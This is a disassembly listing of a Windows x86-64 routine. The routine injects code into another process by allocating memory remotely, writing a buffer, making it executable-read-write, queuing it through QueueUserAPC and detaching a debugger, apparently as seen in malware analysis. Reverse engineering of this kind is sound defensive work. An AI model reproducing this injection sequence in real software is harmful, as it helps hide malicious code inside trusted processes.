cmp qword [rsp + 0x70], 0
je 0x140002ba3
xor eax, eax
xor edx, edx
mov dword [rsp + 0x20], 4
mov r8, rsi
mov dword [rsp + 0x5c], edx
mov r9d, 0x3000
xor edx, edx
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
mov rbx, rax
je 0x140002ba3
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002ba3
cmp qword [rsp + 0x60], rsi
jne 0x140002ba3
lea rax, [rsp + 0x5c]
mov rcx, qword [rsp + 0x68]
mov r8, rsi
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140002ba3
mov rdx, qword [rsp + 0x70]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, dword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x70]
call rbx
mov rax, qword [rsp + 0xe8]
sub rax, qword [r12]
je 0x140002bb7
call fcn.140002520
nop
add rsp, 0xf0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret